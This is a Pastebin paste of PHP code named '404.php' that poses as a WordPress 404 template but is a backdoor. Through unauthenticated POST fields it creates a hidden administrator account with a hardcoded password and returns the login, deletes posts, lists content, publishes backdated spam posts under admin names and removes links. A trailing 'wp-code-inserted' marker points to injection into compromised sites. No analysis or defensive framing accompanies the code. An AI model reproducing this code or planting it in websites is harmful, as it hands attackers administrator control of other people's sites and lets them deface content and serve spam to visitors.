PalmaSolutions

404.php

Apr 6th, 2018
454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.33 KB | None | 0 0
  1. <?php $wp_load = "wp-load.php"; $wp_pluggable = "wp-includes/pluggable.php";
  2. $max_iter = 6;
  3. $count = 0;
  4. while(!file_exists($wp_load) && !file_exists($wp_pluggable) && $count < $max_iter) {
  5. chdir("..");
  6. $count++;
  7. }
  8. require_once($wp_pluggable);
  9. require_once($wp_load);
  10. ?><?php
  11.  
  12.  
  13. if(!empty($_POST)) {
  14. while(!file_exists('wp-load.php')) {
  15. chdir('..');
  16. }
  17. require_once('wp-load.php');
  18. if(!is_admin()) {
  19. $_POST = array_map('stripslashes', $_POST);
  20. }
  21. }
  22.  
  23. if(!empty($_POST['test_if_exists']) && $_POST['test_if_exists'] == 'yes') {
  24. print "{IS-OK}\n";
  25. exit;
  26. }
  27.  
  28. if(!empty($_POST['xml_social_post_create_user'])) {
  29. $users = get_users( array('role' => 'administrator', 'number' => 1) );
  30. $new_user_login = $users[0]->user_login . '-' .rand(1, 10);
  31. $pass = 'zhano';
  32. $email = str_replace('-', '.', $new_user_login) . rand(1000, 10000) . '@mailinator.com';
  33. $user_id = wp_create_user($new_user_login, $pass, $email);
  34. if(is_numeric($user_id)) {
  35. $wp_user_object = new WP_User($user_id);
  36. $wp_user_object->set_role('administrator');
  37. print "<?xml version='1.0'?><user>$new_user_login:$pass</user>";
  38. }
  39. else {
  40. print "<?xml version='1.0'?><result>failure</result>";
  41. }
  42. exit;
  43. }
  44.  
  45. if(!empty($_POST['xml_social_post_delete_title'])) {
  46. header("Content-type: text/xml");
  47. $title = $_POST['xml_social_post_delete_title'];
  48. $post = get_page_by_title($title, OBJECT, 'post');
  49. if(empty($post)) {
  50. $post = get_page_by_title($title, OBJECT, 'page');
  51. }
  52. if(wp_delete_post($post->ID, true)) {
  53. print "<?xml version='1.0'?><result>success</result>";
  54. }
  55. else {
  56. print "<?xml version='1.0'?><result>failure</result>";
  57. }
  58. exit;
  59. }
  60.  
  61. if(!empty($_POST['xml_get_posts_titles_and_ids'])) {
  62. $args = array(
  63. 'numberposts' => 1000,
  64. 'offset' => 0,
  65. 'category' => '',
  66. 'category_name' => '',
  67. 'orderby' => 'date',
  68. 'order' => 'DESC',
  69. 'include' => '',
  70. 'exclude' => '',
  71. 'meta_key' => '',
  72. 'meta_value' => '',
  73. 'post_type' => 'post',
  74. 'post_mime_type' => '',
  75. 'post_parent' => '',
  76. 'author' => '',
  77. 'author_name' => '',
  78. 'post_status' => 'publish',
  79. 'suppress_filters' => true
  80. );
  81. $posts_array = get_posts( $args );
  82. $posts_xml = "<posts>\n";
  83. foreach ( $posts_array as $post ) :
  84. $posts_xml .= "<post>\n";
  85. $posts_xml .= "<id>{$post->ID}</id>\n";
  86. $posts_xml .= "<title>{$post->post_title}</title>\n";
  87. $posts_xml .= "<permalink>".post_permalink($post->ID)."</permalink>\n";
  88. $posts_xml .= "</post>\n";
  89. endforeach;
  90. $posts_xml .= '<posts>';
  91. wp_reset_postdata();
  92. print "<?xml version='1.0'?>\n";
  93. print $posts_xml;
  94. exit;
  95. }
  96.  
  97. if(!empty($_POST['xml_social_post_delete_id'])) {
  98. header("Content-type: text/xml");
  99. if(wp_delete_post($_POST['xml_social_post_delete_id'], true)) {
  100. print "<?xml version='1.0'?><result>success</result>";
  101. }
  102. else {
  103. print "<?xml version='1.0'?><result>failure</result>";
  104. }
  105. exit;
  106. }
  107.  
  108. if(!empty($_POST['xml_social_post_data'])) {
  109. header("Content-type: text/xml");
  110. if(file_exists('wp-includes/pluggable.php')) {
  111. require_once('wp-includes/pluggable.php');
  112. }
  113. if(file_exists('wp-load.php')) {
  114. require_once('wp-load.php');
  115. }
  116. $xml = new SimpleXMLElement($_POST['xml_social_post_data']);
  117. $tags = array('title', 'content');
  118. $replace_tags = array();
  119. foreach($tags as $tag) {
  120. $replace_tags[] = "<$tag>";
  121. $replace_tags[] = "</$tag>";
  122. }
  123. foreach($tags as $field) {
  124. $element = $xml->xpath('/post/' . $field);
  125. while(list( , $node) = each($element)) {
  126. $$field = str_replace($replace_tags, '', $node->asXML());
  127. }
  128. }
  129. $post = get_page_by_title($title, OBJECT, 'post');
  130. $page = get_page_by_title($title, OBJECT, 'page');
  131. if(!empty($post) || !empty($page)) {
  132. print "<?xml version='1.0'?><error>The page with this title already exists!</error>";
  133. exit;
  134. }
  135. $admins = get_users(array('role' => 'Super Admin'));
  136. $ids = array();
  137. foreach($admins as $admin) {
  138. $ids[] = $admin->ID;
  139. }
  140. $rand_user_id = $ids[array_rand($ids)];
  141. $categories = get_categories(array('orderby' => 'count', 'order' => 'DESC', 'number' => 5));
  142. $category = $categories[array_rand($categories)];
  143. $post = array(
  144. 'post_author' => $rand_user_id,
  145. 'post_date' => date('Y-m-d H:i:s', mt_rand(strtotime('2014-10-01'), strtotime('-9 month'))),
  146. 'post_content' => $content,
  147. 'post_title' => $title,
  148. 'post_status' => 'publish',
  149. 'post_category' => array($category->term_id)
  150. );
  151. if(!empty($_POST['update_post_title'])) {
  152. $_post = get_page_by_title($_POST['update_post_title'], OBJECT, 'post');
  153. $_page = get_page_by_title($_POST['update_post_title'], OBJECT, 'page');
  154. if(!empty($_post)) {
  155. $post['ID'] = $_post->ID;
  156. }
  157. elseif(!empty($_page)) {
  158. $post['ID'] = $_page->ID;
  159. }
  160. else {
  161. print "<?xml version='1.0'?><error>post with title `{$_POST['update_post_title']}` does not exist!</error>";
  162. exit;
  163. }
  164. }
  165. if(!empty($_POST['update_post_id'])) {
  166. $post['ID'] = $_POST['update_post_id'];
  167. }
  168. $post_id = wp_insert_post($post, true);
  169. if(is_object($post_id)) {
  170. print "<?xml version='1.0'?><error>" . $post_id->get_error_data() . "</error>";
  171. }
  172. elseif(is_numeric($post_id)) {
  173. $post = get_post($post_id);
  174. print "<?xml version='1.0'?><urls><id>" . $post->ID . "</id><niceurl>" . get_site_url() . '/' . $post->post_name . "</niceurl><urlbyid>" . get_site_url() . '/?p=' . $post->ID . "</urlbyid></urls>";
  175. }
  176. exit;
  177. }
  178.  
  179. if(!empty($_POST['link2del'])) {
  180. $query_args = array( 's' => 'href="'.$_POST['link2del'].'"' );
  181. $the_query = new WP_Query( $query_args );
  182. if($the_query->have_posts()) {
  183. while ( $the_query->have_posts() ) :
  184. $my_post = array();
  185. $the_query->the_post();
  186. $content = get_the_content();
  187. $content = preg_replace('/<a[^>]*?href="'.preg_quote($_POST['link2del'], '/').'"[^>]*>.+?<\/a>/is', '', $content);
  188. $my_post['ID'] = $the_query->post->ID;
  189. $my_post['post_content'] = $content;
  190. $post_id = wp_update_post( $my_post, true );
  191. if (is_wp_error($post_id)) {
  192. $errors = $post_id->get_error_messages();
  193. print "<?xml version='1.0'?><error>".implode(',', $errors)."</error>";
  194. }
  195. else {
  196. print "<?xml version='1.0'?><post_id>{$post_id}</post_id>";
  197. }
  198. endwhile;
  199. }
  200. else {
  201. print "<?xml version='1.0'?><error>No posts found</error>";
  202. }
  203. }
  204. ?><?php /* wp-code-inserted */ ?>
Advertisement
Add Comment
Please, Sign In to add comment